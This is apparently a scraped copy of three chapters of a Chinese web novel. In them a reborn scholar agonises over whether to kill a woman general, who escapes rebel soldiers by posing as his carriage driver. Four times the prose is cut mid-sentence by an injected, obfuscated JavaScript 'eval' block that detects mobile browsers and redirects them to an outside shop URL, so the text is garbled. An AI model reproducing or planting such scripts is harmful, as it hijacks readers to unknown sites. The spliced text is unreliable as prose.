“陛下赞我杀伐果决、卫国有功,又不慕名利,有古来大将之风呢,怎么到了胡大人这里,我裴希就成了恶鬼,成了罪人?萧先生,你说说,这是什么道理?” 那双浓黑的眼睛吸饱了北地的血,盯着萧鸣玉时,他仿佛真被恶鬼所俘,汗出如浆,浸透了后背的衣衫。 这一瞬,他终于确认了启程归来时盘桓在心头的模糊感召:他得在裴希和士族间斡旋,用好这把利刃,让她刀锋朝外,平定天下,又不至于变得太锋利、不可控制,以至牵连自己人。 裴应弦不信世家,却独独信他,只有他萧鸣玉能做两者间的媒介和缓冲带,缓和矛盾、稳定局面,防止秤杆的任何一边重得过了头。 那就是他必须回到裴应弦身边的理由。 秋风一扫,他从头顶冷到指尖,声音摇摇欲坠:“……无论如何,请将军一定三思——现如今在国都动用私刑,此事若是传入朝中,在有心人眼里,岂不是坐实了这骂名?将军大胜凯旋,此时眼红您战果与地位之辈不在少数,万望将军谨言慎行……” 他几乎不知道自己说了什么。口舌全凭本能地开合移动,萧鸣玉不敢看裴应弦脸上似笑非笑的表情,也不敢看胡氏老小投向他的愤怒失望的眼神。 裴应弦笑起来,刀刃随着笑声危险地在胡氏家主颈侧晃动:“好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999081|193937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,我知道萧先生总是为我着想的。不过,先生别紧张呀,我哪里会这么冲动呢?其实我今天来本就是想和胡大人谈一谈,消除一下我们之间的误会。只是胡大人好像不大乐意和我谈,还冲我摔了一只杯子,我吓了一跳呢。” 她用眼神示意周围执戟肃立的亲兵:“你知道的,我手下的姊妹们都刚从战场上回来。征战数月,大家精神太紧张啦,见我被吓到,也许就有些反应过度了吧。” “好了,晖煜,快扶胡大人起来吧。”裴应弦偏过头叫她的副将明烛,示意她搀扶面前跪着的人,然而她的刀却没有归鞘,只移开垂在身侧,锋刃上氤氲着明晃晃的威胁。 明烛收起长戟,快步走上前来,作势要搀扶胡家主,女人却先一步自己扶着膝盖站了起来,面露厌恶地甩开了副将伸出的手。 她显然怒极了,挥臂时,衣袖抽在明烛的护腕上发出响亮的一声。 这声响加上副将一惊之下缩手的动作也许给裴应弦造成了什么误会,又或者她在战场上待久了,神经与她口中的下属们一样紧绷——裴应弦下意识举起了握刀的手。那冷银的刀刃倏地一闪,骇然中,萧鸣玉本能伸手去拦,动作太大,左掌毫无防备地正撞在刃上,撞出一道深长的伤痕。 一时间疼痛剧烈地碾过神魂,萧鸣玉眼前发黑,只听见裴应弦在叫“萧先生”,胡家主在叫“鸣玉”,明烛在叫“将军”,而胡家的两个孩子在叫“母亲”。混乱中,裴应弦割下一截衣摆缠在他掌上,他只记得小心地托着他的手的指尖如刀刃般冰凉。 他的左掌上从此留下一道狰狞的疤,每次摩挲,他都想起变成死城的上泽。 在萧氏的故宅中醒来,萧鸣玉对着自己光洁完好的手掌出了好一会儿的神,才敢确认他真的重新回到十七岁。 然而此刻,太学边缘昏暗寂静的博经堂中,他的左掌上赫然显出一道全然相同的伤痕来。 那像是命运在重叠往复的新生中对他投以的讥诮冷眼,用疼痛与鲜血告诉他,你什么都改变不了。 不……不。 道出于天,事在于人,人之所习,无有不神。 他不信注定。这只是……巧合。 巧合而已。 他愣怔了太久,未曾发觉久久没得到回应的裴应弦已经疑惑于他异样的沉默,拖着满身伤痕挪了过来。 一道模糊的影子投在萧鸣玉身上,连带着那股混杂血腥与尘灰味道的气息也一并沉降,将他整个人笼罩其中。裴应弦站在他背后,语气里有半分疑惑:“萧公子?你在……” 她的声音戛然而止。 萧鸣玉的心猛地高悬,整个后背都绷紧了。 以裴应弦的警觉与多疑,看到他持刀难保不会生出什么—— “公子,你受伤了,你在流血。”裴应弦的声音放缓了,她好像在萧鸣玉头顶似有若无地笑了一下,俯身道,“还是交给我吧,莹璧公子的手该执笔,而不是执刀。” 她的吐息吹拂在耳畔,而后,一只手从萧鸣玉背后探下来,试探地握住了萧鸣玉的手掌没能覆盖的那截刀柄。 昏暗中,萧鸣玉的手指一根一根松开,裴应弦的手一寸一寸下移,像交锋,像攻城略地,而他一路溃败,直到刀柄彻底被裴应弦握在手中。 交递时,两人的手指不可避免地相触,萧鸣玉细微地打了个寒颤:裴应弦的手指,仍然像他前世的记忆中那样,与刀刃一般冰凉。 14. 不解持照身(二) 借着昏暗的月光勉强看清角落里的情形后,裴应弦当真吓了一跳。 萧鸣玉蹲在博经堂角落的矮柜前,手里拿着她那把长刀,怔怔的,不知道在出什么神。房间里太暗,月的银辉照不进角落的阴影,萧鸣玉脸上的表情晦明难辨,她只看到那双修长的手微微发颤,连带掌间刀光也一起细细地漾着。 他拿我刀做什么?裴应弦下意识屏住了呼吸。他刚刚帮我打掩护救我一命,现在又对着我的刀发呆? 别这样,二公子,这很危险啊! 这情况让裴应弦本能地不安:寂静空旷的太学中只有她和萧鸣玉两人,而自己浑身是伤,武器又落到了对方手里。虽然按照她对虞林萧氏的了解,萧鸣玉应当不会莫名其妙毫无缘由地对自己动手,但这情形依然不利,她感到十分不安全。 万一……只是万一,他突然想不开要攻击我? 裴应弦小心地调整了自己的重心,尽可能平稳地开口唤道:“萧公子……” 那刀光暗暗一颤,萧鸣玉很轻地抽了口气。 裴应弦忙探头看去,只见一道新鲜的伤口横在萧鸣玉左掌上,血珠自其中渗出,沾上刀刃,很快饱满而圆润地滑开了。 ……如果只是拿刀都会划伤自己的程度的话,这莹璧公子似乎还真对她构不成什么威胁。 不过,即便如此,把刀从对方手里拿回来后,裴应弦还是很快收刀归鞘,又刻意换了个让对方无法从她腰间抽刀的姿势。 萧鸣玉像受了什么重大打击似的盯着自己手上的伤发愣,裴应弦有点无奈,心说我还疑似断了条腿呢,左臂现在都抬不起来了,也没见我这么颓丧吧?你到底在消沉什么,难道觉得自己白嫩无瑕的玉手受伤了,怕以后不受女子们喜欢么? 她正要开口,萧鸣玉忽而回过头来。 一瞬间,她目光凝固,敏锐地捕捉到对方眉梢颤动、唇角紧抿,面上迅疾闪过复杂的情绪。 恐惧与苦恨,悲哀与不甘,犹疑与悔愧,行将灰飞烟灭的脆弱的杀意与不忍,强烈而短暂地在他眼中错落迭起,方生方死,方死方生,在一垂眸中扫净,归于一片一无所有的空。 萧鸣玉转瞬露出一个面具般得体规整的表情,缓声道:“大娘子醒了就好。琮不通武事,本想替大娘子把刀取出来的……让大娘子见笑了。” 他匆匆把手掌缩回袖中,仿佛不愿让裴应弦看到那道伤口似的。 也是,这萧二公子人前总是一副无瑕玉人的形象,结果拿个刀都能割伤自己,还被人瞧见了,换谁不尴尬啊。裴应弦自认为体贴地假装没看到刚刚那一幕,一瘸一拐地退开两步,点燃桌角的蜡烛后一屁股坐在了书案上。 暖色的光芒倏然充满了整间书堂,萧鸣玉好像对她的举动皱了皱眉头,她没太看清,还惦记着刚刚那一眼对方脸上复杂的表情。对视的那一瞬间,裴应弦没来由地心悸,她无端地笃定,那些情绪都是冲她来的。 可是凭什么啊?因为我给他带来了危险? 头疼。裴应弦盯着烛火想,早说了,这萧鸣玉就是精神不稳定,压抑出问题了。 对了,那些追兵说什么来着,很尊重萧家?还要去上门道歉? ……那有没有一种可能,萧氏其实是支持杨氏的——也就是说,是支持赵王岑渺的? 那她岂不是才出虎口又入狼穴啊! 虽然萧鸣玉没搭理对方的套近乎,但她得按最差的情况来准备。 裴应弦摸着一阵一阵刺痛的左膝,感到脑袋也和腿一起疼了起来。 不成,得想个法子。被追进城太突然,她暂时没有后手,需要更多保命的底气。 如果能让萧鸣玉把自己送到皇宫里就好了。虽然很大概率见到高亭郡主后她就不会再被允许回军中了,但至少安全有保障,还能想办法捞一把孟将军…… 等等,军中? 她盯着正在翻找箱箧、试图为她找到些干净布料包扎伤口的萧鸣玉,试探着开口道:“能在这里遇见二公子真是太巧了。希在军中与令弟友善,进了澧阳又受二公子照顾,想来也是与萧氏有缘。” 萧鸣玉翻找的动作顿住了,他回过头,显得十分困惑:“……大娘子是说鸣枢?” “对啊,萧三公子嘛。”裴应弦眼不错珠地观察着对方的表情,故作惊讶地问,“怎么……三公子居然没和您提起过吗?我们都在薛大人麾下领职,算是同僚呢。” 这下好了,莹璧公子得体的表情被她一道惊雷炸开了裂痕。萧鸣玉愕然地睁大了眼睛,嘴唇微微张开,显得十足无措,连握在手里的一叠麻布都险些脱手。 这错愕的神情让他看上去更无害了,裴应弦暗觉好笑,装作后知后觉地“啊”了一声,故作懊恼地别开脸:“忘了三公子嘱咐过我不要告诉你了……公子请忘了我方才说过的话吧。” 对不住了萧鸣枢!我当然知道你是背着家里——尤其是背着你这好二哥——偷偷去军中的,不过如今情况不太妙,我就先不帮你保守你的小秘密了! 为了保证你哥心甘情愿地帮我,我必须得把咱们俩捆上一条战船。既然知道了家里老三在微州军中,萧氏就算再想投杨氏,也得重新掂量掂量对方敢不敢信她们、转换立场又值不值得了。 裴应弦心中暗笑,又从眼角偷偷瞥向愣怔的萧鸣玉,看到对方无可奈何地抬手抵住额头,克制地叹了口气:“鸣枢……给大娘子添麻烦了吧?让大娘子见笑了,他从小在舅舅家被惯坏了……” “哪有,三公子活泼聪颖,薛大人麾下的大家都很喜欢他。”裴应弦立即摆手,扯到胳膊上的伤处,眉梢忍不住一抽。 萧鸣玉见她面有异色,忙两步凑上前来,展开手里刚找到的干净麻布示意道:“大娘子这伤恐是又裂开了,若是不介意,不如让琮……” 送上门来的帮助岂有拒绝之理,更何况裴应弦一夜交战、奔波、躲藏,体力早到了极限,以至于在柜子里时还短暂地昏过去了一会儿。她稍稍抬起左臂,点头道:“那就有劳二公子了,多谢。” 萧鸣玉于是挽起衣袖,在那张矮桌前半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999082|193937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跪下来。常年执笔的手指试探地去揭被血黏在伤处的衣料,唯恐弄疼了裴应弦似的小心翼翼。 因着低头的动作,两人凑得极近,裴应弦只消一垂眼,便能看见对方微微蹙起的弧度柔和的眉,和因紧张不断颤动的眼睫。皮肉被牵动时拉扯出新的尖锐的痛感,裴应弦咬着嘴唇阻止自己发出声音,努力为自己找些转移注意力的事做。她没什么礼貌地盯着萧鸣玉看,注意到每次伤处涌出一股新鲜的血,萧鸣玉那淡色的嘴唇就狠狠抿紧一瞬,手上的动作也会立刻停下,他会屏住呼吸凝神去听裴应弦的动静,仿佛生怕自己的动作让她太痛。裴应弦没有反应,他就又缓缓放松下来,舔舔嘴唇,眨眨眼睛,轻轻呼一口气,再继续之前的动作。 他清理与包扎的手法很小心、很轻柔,也……很熟练。 裴应弦在心里暗暗思忖:一位书香门第出身的世家公子,没有立志学医悬壶济世的志向,自小读书进学,足不出户,接触的也都是些学者、文人,萧琮为什么会有这么熟练的手法?总不能是莹璧公子天资过人,连见都没见过的技能也能无师自通? 麻布妥当地把她左臂上的伤口缠起来,裴应弦小心地动了动胳膊,立刻被一根搭在手腕上的修长手指制止了:“血刚止住,大娘子还是先不要动为好。” 那双柔和无辜的眼睛眨一眨,萧鸣玉收回手,又补充道:“鸣枢刚回家里时爱闹腾,有时玩耍受些小伤,不敢让母亲知道也不敢去找医师,便跑到我房中求情,让我替他包扎。未曾在医师门下就学,手法粗糙了些,大娘子见谅。” 原来是萧鸣枢,这样倒是也说得通。 “哪里,是我要多谢二公子肯帮忙。”裴应弦一笑,转而略显忧虑地望了望窗外天色,“只是不知叛军还是否会再来……” 萧鸣玉顺着她的目光抬起眼,看向已泛起青白色的天幕尽头。他的眼中浮起一丝犹豫,又很快被按捺下去:“卯时家仆会驾车前来,和我一起把整理出的典籍暂时带回家中,免受战火的毁坏。若是大娘子愿意……” 裴应弦的手指在刀柄上有节奏地轻点,目光从窗外移向对方的面孔:“……恐怕公子安排的人来不了了。” 萧鸣玉沉默片刻,随即低下头露出一个苦笑来:“是。叛军已在城中横行,想来她们也不敢出门了。” 太学中倒是有粮食,也有住处,只是两人都无心在此久留。朝中官员的子嗣多不在此留宿,由太常寺自全国各州选拔出的学子们统一住在太学另一头,萧鸣玉是十八生辰之后才离开太常寺来太学就任,他年纪尚轻,资历不够,讲学的事不怎么落在他头上,更多是在整理典籍、批阅试卷等事务上帮忙,与此处就任的其他人、还有一众太学生们都不算熟悉。 裴应弦轻敲刀柄的动作停了停,思忖着开口:“太学中可有马车?” “有,”萧鸣玉当即答道,“西侧有专门停放马车的地方。” “那也许……”裴应弦眉毛一扬,露出一个古怪的笑容来,“我来给公子做‘家仆’,我们驾车回萧宅去?” 15. 不解持照身(三) “这如何使得?大娘子,我们再想想别的法子……”站在马车旁边,萧鸣玉第七次对这简陋的计划提出质疑。 然而他的反抗很无力,裴应弦毫无歉意地说着“冒犯了”就抬手把他塞进了车厢:“公子安心吧,你还是对自己的价值不够清楚。” “叛军是冲着改立赵王来的,她们肯定也不想把有用的人都杀光了,不然赵王上台用谁?更何况,公子肯定也知道,当今天下,最忌讳的就是杀名士。” 裴应弦比了个手势:“公子在鉴者那里得了个能名扬天下的鉴词,令姐同样,而萧大人在朝中也德高望重,现如今若是动你,天下读书人都要激愤而起了,谁还会支持她们? “宣武将军明显器重你们家,听上去对属下三令五申过此事,枚州刺史呢,更不必说,和你萧氏还有姻亲,遇上哪边都不是死境——不如说,遇上哪边,她们都要对你以礼相待呢。” 她站在车厢外,身上披着萧鸣玉放在太学中的备用外袍,甲胄、弓、箭和长刀都藏在车厢深处的书堆之后,身上只留下一把不起眼的匕首应急。乍眼一看,没人能把面前这个打扮得不伦不类的家伙和金尊玉贵的郡主独女、或者沙场驰骋的少年将军联系在一起。 萧鸣玉只好眼睁睁地看着裴应弦对他一笑,接着转身走去了驾车的位置。 他心中不安,然而继续在太学耽误时间确实误事,只好强自镇定,说服自己相信裴应弦的判断。 不过……裴应弦给他当“家仆”,哪怕是临时假扮的权宜之计,也足够他浑身不适了。 萧鸣玉在车厢里如坐针毡,惯常端正的坐姿也维持不住了,不住地挪动、转移重心,活像屁股底下硬邦邦的木板突然长出了牙。 那可是裴应弦! 等等,裴应弦会驾马车吗? 好问题,他马上得到了答案。 突然之间,车子毫无征兆地猛窜了出去,仿佛被力大无穷的人在车屁股上狠狠踹了一脚。萧鸣玉还在不自在地挪动,本就没能坐稳,这下更是险些一头栽进身旁的书堆里。 他勉强扶着手边的一摞古籍把自己支撑起来,就听见隔着一块车板的驾车位置上,裴应弦发出了一串飞快而含混的咒骂,带着点儿微州方言里才有的表达,大概意思是只会吃草料睡大觉不通一点儿人性的石头脑袋马,活该被同类把尾巴啃秃。 手忙脚乱的马鞭声和呼喝声中,萧鸣玉忍俊不禁。 裴应弦又嘟囔着开始怀念自己昨夜战死的那匹马,丝毫不管现下的状况根本不是马的错。马车摇摇晃晃地驶上了梧桐大街,终于不再剧烈颠簸,萧鸣玉松了口气,放下自己扶着书册的手。 他一口气还未完全呼出去,马车就被叫停了。 “嚄!这是怎么的了?唉哟,天姥姥——俺们公子可是好人,你们要干啥?” 这声音乍一响起来,萧鸣玉直接愣在了车厢里。他迟缓地眨了眨眼,看向身侧的车壁,脸上的困惑渐渐向匪夷所思转变。 不是,这谁?裴应弦吗? ……这一口气息熏人的协州口音算怎么回事? 外面,裴应弦已经一套丝滑的表演进入下一个阶段:“各位,俺们公子是在太学任职哩,车里都是书……什么书?唉,那俺又不识字……哦哦,不是问书?对不住听错了,俺们公子姓萧,虞林来的,家里大人在朝廷里当官……” “对对!‘莹璧公子’,是这个,就是这个!” ……行吧,演得还挺投入。 萧鸣玉勉强收拾好表情,硬着头皮探出了脑袋:“怎么了?” 围在马车周围的几名士兵见他露面,立刻放弃了和“协州乡下家仆”的艰难沟通,走到车厢后侧来:“你是虞林萧氏的人?‘莹璧公子’萧鸣玉?” “正是。在下萧琮,各位有何贵干?”萧鸣玉把目光移回蓬州兵身上。 刚刚在蓬州兵看不见的角度,裴应弦回头冲他眨了眨眼,十分得意似的。他这下才想起,虽然裴应弦从小在虞林长大,但裴氏本家在旃平,位于协州东南部,她会说协州话并不奇怪。 那几名蓬州兵对视一眼,其中一个军侯模样的中年人客客气气道:“烦请公子在此稍作等待。将军对萧氏很是敬重,待我们去通报一声,定会派人护送公子安全回府。” 萧鸣玉心下一跳。别人认不出裴应弦很正常,到底是皇亲国戚,寻常小兵哪里能见到她,但宣武将军黄福一定是认得她的。如果黄福亲自前来,事情就难办了。 他掐了掐掌心,微微蹙起眉毛:“车中有一批受损古籍,需得尽快誊抄或修补,耽搁不得。若是黄将军有意,不如回头再到府上去,琮定亲自招待。” 那军侯不为所动地一摇头,正要说什么,车前的裴应弦忽然叫了起来:“嗳,那边不是皇宫吗?怎么着火了!” 所有人都被她叫得回过头去,看向西北方。一道浓烟滚滚冲天而起,把那一角天空熏成沉沉的灰。守在梧桐大街上的叛军轻微地骚动起来:宣武将军去的应该就是那个方向。已经要开始攻打宫城了么?低语在她们间流动,萧鸣玉耳尖地捕捉到只言片语,在心里暗暗摇头:没那么快。着火的应该也并非宫城……更像哪位官员的住处吧? 对了,宣武将军黄福是干过这么件事儿:她觊觎新任太尉府上那位如花似玉的长男,为了把人从后院里逼出来,差人放火点了太尉家的厢房。 打头的蓬州兵皱着眉看了一会儿,转头点了几人出来:“你们护送萧公子回去,告诉萧大人,将军回头定会登门拜访。”接着她翻身上马,领了十余人沿着街道疾驰而去。 被那军侯点出来护送的士兵对视一眼,其中一人毫不客气地抬腿踹了前舆一脚:“行了,滚下来,我来驾车。” 裴应弦做出被惊了一跳的动作,畏畏缩缩张了张嘴,什么也没说出口,在对方的瞪视中灰溜溜地从前座出溜了下来,站在车边手足无措地抠自己的衣角。 萧鸣玉只好出声招呼她:“……你过来吧。” 他的声音虚得厉害——两辈子加起来四十多年,他还从来没用这种对下位者说话的语气命令过裴应弦。这话甫一出口,他便顿觉怪异得很,半个脊梁都在发毛。 裴应弦讷讷地“嗳”了一声,小跑着上了马车。萧鸣玉注意到,这人爬上车的时候没撩衣摆,而是颇为随便地抬腿,把过长的衣服下摆踢得飘起,一手扯住,而后大跨步窜上了车。 好啊,细节全面详实,这戏做得可真全套! 这粗鲁随便的动作看得萧鸣玉额角直跳,而守在马车后方的蓬州兵毫不客气地发出一声嗤笑,一扯马缰往旁边去了。 马车在一众蓬州兵的“护送”下停在萧宅门前,不等萧鸣玉下车,当先一人先一步翻身下马,毫不客气地把那扇紧闭的门砸得咣咣响。这动静惊动了这两日一直闭门未出的萧承安和萧鸣鸾,两人领着几名侍从开了门,听见蓬州兵说“护送二公子回来”时都露出了惊讶的表情。 一众侍从上前来搬运车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999083|193937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中书籍,裴应弦混在其中,装模作样地把那些古籍一摞一摞地往下递,隔着车厢听萧氏母女三人应付那几名蓬州兵。 士兵终于走了,车里的书籍和箱箧也搬得差不多了,裴应弦拍拍手往外走,从车厢里捡起半张漏下的纸。她边跳下车边瞄了一眼,纸上是萧鸣玉规整清秀的字迹,上面写着:世乱不能养浩然之志,食禄又欲避其难乎? 哈,想干嘛?裴应弦心里暗暗嘀咕,这家伙难道还暗存死志了?情况还没坏到那种地步吧? 还没细看,只听身后传来萧鸣鸾警惕的声音:“你是何人?鸣玉到太学去时,不曾带小厮在身边。” 裴应弦随手把那半张纸塞进袖中,也不回头,一缩肩膀佯装胆怯道:“俺、俺只是个赶车的呀……” “裴大娘子。”萧鸣玉两步赶上前来,脸上露出快要不能呼吸的痛苦表情,“现下已经安全了,您不必再……” 哦哟,再玩下去,萧二公子可能真的要尴尬得晕过去了。裴应弦耸耸肩,瞬间收起了那副战战兢兢的做派,回身边行礼边大方笑道:“让各位见笑了,裴希见过萧尚书、青凤君。” 裴应弦被萧宅下人带去重新上药、包扎伤口了,萧鸣玉好容易把昨夜的情况向母亲及长姐说明白,这会儿也生出些倦意来。 他谢绝了要为他取些吃食的侍从回到自己的房间,在桌边坐下,支着额头深深叹了口气。 紧张的情绪甫一退下,昨夜的一切便顷刻重新变得鲜明。刀光、血迹、裴应弦的脸,交错着在他面前闪过,那时的恐惧在他脊柱上复活,攀附而上时带起一阵冰冷的战栗。 手掌上的伤口早止住了血,现在抚上去,只有一道细细的凸痕,像一根贯穿了左掌的细线,自前世的阴影中延伸出来,不依不饶地重新缠上他崭新的生命。 我杀不了她。 萧鸣玉盯着那道伤痕痛苦地想。 我明知道她的存在会带来那么多灾难与死亡,可我还是杀不了她。 出现在他面前的裴应弦与前世记忆中的那个人如此不同,会被几名普通的追兵狼狈地逼入绝境,会在马儿不听话时气急败坏地用微州方言咒骂,会巧妙地把自己从头到脚伪装成一个协州来的乡野村妇,会在面对萧承安和萧鸣鸾时开小小的玩笑。 她思考时习惯用指尖轻敲刀柄,盘发时喜欢把发带叼在嘴里,伤口疼痛时会在以为没人注意的角落里暗暗皱眉,指尖总是凉得像冰雕雪琢。 她不是承载着萧鸣玉平定天下、中兴王朝的沉重期望的工具或者符号——前世,萧鸣玉确实将她当做自己宏大的治世理想的载体,尽管她长歪了,长得很歪很歪——在此时的萧鸣玉眼中,她忽然从遥远王座上一枚传国玉玺,一跃变为了一个具体的人。 这个具体的人是如此鲜活,如此生动,滚烫得像火星,明亮得像烈日。她的笑容落在萧鸣玉眼中,轰然把他积攒许多年的冰冷失望砸出一道裂隙来。 毁掉一件没能打磨好的残次品或许很容易,砍掉一棵手植的树却很难,哪怕它没能如愿长成期望的样子。 既然我从来不曾真正认识过裴应弦,那我又要如何才能持刀审判她?萧鸣玉痛苦地将面孔埋进掌心。 昨夜,冷银色的刀身上模糊地映出他的脸。原来那时,刀刃之上孤悬的并非裴应弦的末路,而是他萧鸣玉的。 他再不能继续欺骗自己了:他对裴应弦仍有期待,仍有钦慕,仍有眷恋。他不仅杀不了裴应弦,他还……想要再次靠近她。 16. 赠我金错刀(一) 裴应弦这一觉睡得很不安稳。 昨夜的苦战在梦境中闪回,夹杂着很多纷乱的声音,还有火光与黑暗之间一闪而过的面孔。梦中她持刀奋力拼杀,却被敌人一剑砍断了左臂。梦境进行到她因失去平衡仰面跌下马背时她骤然醒过来,仰躺在薄衾下喘息。 她躺在一间陌生的屋子里,左臂还好端端地连在身上,只是因为伤口处敷上的药而有些发麻。 半梦半醒地活动了一下手指确认胳膊还在,裴应弦撑着榻慢慢坐起身来,对着房间里刻着空谷幽兰的木屏风发愣,花了几秒回想起这里是澧阳萧宅。 日光从屏风后斜斜淌进来,只堪堪漫到足尖,戳破了的蛋黄似的,金灿灿的晃眼。屏风上的兰花笼在蒙蒙昏黄中,下侧镂空雕出的海棠纹拖长了印在地上,像太阳拖长的衣摆滚了一圈雅致的边。周遭弥漫着浅淡的苏合香气息,裴应弦抬起袖子闻了闻,她滚了一身的血与灰的味道消失殆尽,柔和地化在香料芬芳而微辛的气味之中。 左腿只是扭伤,但也需要几天休养,裴应弦别扭地单腿在房间里跳了几步,在离床榻不远处的矮桌边看到了自己的刀和弓。 长刀可以当拐杖,但怎么拿到手里就很需要一些技巧。裴应弦还在思考如何在不弯曲左膝的情况下完成蹲下这个高难度动作,被她蹦跶声惊动的侍者已经快步走了进来:“裴大娘子醒了!您、您这是……?” 裴应弦默默蹬直了试图弯曲的右腿,清清嗓子若无其事道:“哦,躺久了有点乏,没事起来走两步。” “大娘子伤得不轻呢,”侍者脸上露出担忧的表情,走上前来要扶她,“医师说,最好是歇上个半月……” 眼看裴应弦舔到黄连似的整张脸都皱了起来,侍者当即话锋一转:“不过,公子说您不见得躺得住,吩咐我们备了杖。您看……” “那太好了,快拿来吧!”裴应弦的脸登时阴转晴,笑得喜气洋洋,“您家二公子真是贴心,可千万替要我道个谢!” 谢绝了要跟着她随时搀扶的侍者,裴应弦拄着拐杖在萧宅里慢慢溜达起来。 萧宅占了个好地段,周围住的似乎都是当朝重要官员,如果她没记错,申大司农家的宅子离这里只隔一条街。这位置上的宅子宽敞气派,虽比不上裴应弦自小长大的郡主府富丽,也足够羡煞旁人。 院墙边种了几株垂丝海棠,眼下花期未过,胭脂色的重瓣花朵密密簇拥在枝头,面朝土地背对苍空,兀自明艳着。熏风缓拂,扶疏的花枝簌簌而动,花瓣就雨似的纷纷吹落。 裴应弦在花树下站了一会儿,正准备转身往回走时,听见不远处传来脚步声。一前一后的足音略显急促,正从院落的东北角穿过院子靠近。她看了看手里的拐杖,想起自己挪动起来堪比龟爬的速度,无奈决定等对方走过去后再动,省得挡了谁的路。 不多时,脚步声的主人便从不远处的石板路上走过。 裴应弦从摇颤的花枝间看过去,前面领路的明显是个萧家的仆从,步伐急促但仪态端方,令她略微反思了两秒自己扮演的乡下马夫是否拉低了萧氏家仆的外在形象标准。而后面一人…… 裴应弦盯着她看了几秒,抽了口气皱起了眉毛。 好眼熟。 脸型,气质,走路姿态,都多多少少透出些熟悉感,又不能第一时间想起。这种呼之欲出又不得出的感觉挠得人心肝肺一齐发痒,裴应弦苦恼地咂咂嘴,忍不住往前走了两步,想看得更清楚些。 恰在这时,后面那人若有所觉地回过头,和裴应弦对上了眼睛。 看到对方正脸的一瞬间,裴应弦感到一阵醍醐灌顶、大彻大悟般通透的舒畅——她想起来这人谁了。她一把丢下拐杖,几乎是用叫地喊出了对方的名字:“孟文宫?” 萧鸣玉昨夜几乎没合眼,一个晚上心情三番五次大起大落,到家又和母亲解释了好半天为什么高亭郡主家的大娘子成了自己的“车夫”,走出房间的时候头昏脑胀,全靠时局混乱催生出的那股子焦虑劲儿吊着,才没立刻倒在榻上昏死过去。 他沿着房间外的走廊缓步挪动,脑子里乱糟糟地想着下一步怎么办。 春末夏初的风和缓地吹动他的衣摆,萧鸣玉刚觉得出门吹吹风好受了些,就听见后院里有人用巴不得昭告天下的声音大叫一声:“孟文宫!” 萧鸣玉太阳穴一跳,登时头痛得眼前发黑,额角冒出了一排生龙活虎跳动着的青筋。 隔着一道走廊,萧鸣玉只恨自己不能飞过去捂住裴应弦的嘴。 腿断了也拦不住这尊大佛四处走动是不是?喊这么大声,生怕谁不知道孟家的女儿到这里来了似的!这下好了,不忍心杀她,没准儿最后反倒是自己先被她连累死也说不定呢! 孟钦的孙女孟羽,是他进澧阳后刻意交好的。前世,因裴应弦为孟钦平反的举动,孟羽最后投在裴应弦麾下,做了她的一员大将,战功赫赫,威名远扬。 但现在,她还只是个十四岁的少年,因姥姥下狱的事不知所措,惶惶不安。 萧鸣玉去年冬入澧阳,发现萧宅隔壁便是卫将军府,便常常走动来往,与孟羽混了个脸熟。乔逸发难前,他还旁敲侧击地提醒过孟羽收好姥姥的书信、密切关注将军府的亲兵。 也许正是他不断施放的善意让孟羽对这户邻居产生了些许信任,孟钦被抓、将军府被朝中人查封时,她便翻墙溜进过萧家一次,求萧承安在陛下面前为姥姥陈说。 今次又来,一定是有新的变故。 萧鸣玉忙加快脚步绕过回廊,抬手请孟羽往前侧的书房走,示意她有话等下再说。 但是不行,在场有一个人不同意。 裴应弦表情严肃地用手里的拐杖捣了捣地面,义正辞严道:“在联军营中时,我也颇受孟将军照顾,如今见将军后人有难,我怎么能袖手旁观呢?” 也许是武人和武人之间莫名其妙的默契,或者未来君臣之间神秘的感应,谁知道,总之孟羽的脸上一下子露出了很是动容的神色。她深深冲裴应弦行了一礼,很感动地回答:“裴大娘子义薄云天,羽必涌泉相报!” 萧鸣玉站在一边看着,实在感到无话可说。 你俩不然去旁边海棠花树下面结拜一下?正好我房里还有一坛上次没喝的甘棠酒,我看应景得很。 他还没尝试张嘴插话,又一道脚步声急匆匆地靠近了:“我听说孟…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999084|193937||http|test|mini|href|location''.split(''|''),0,{})); () { 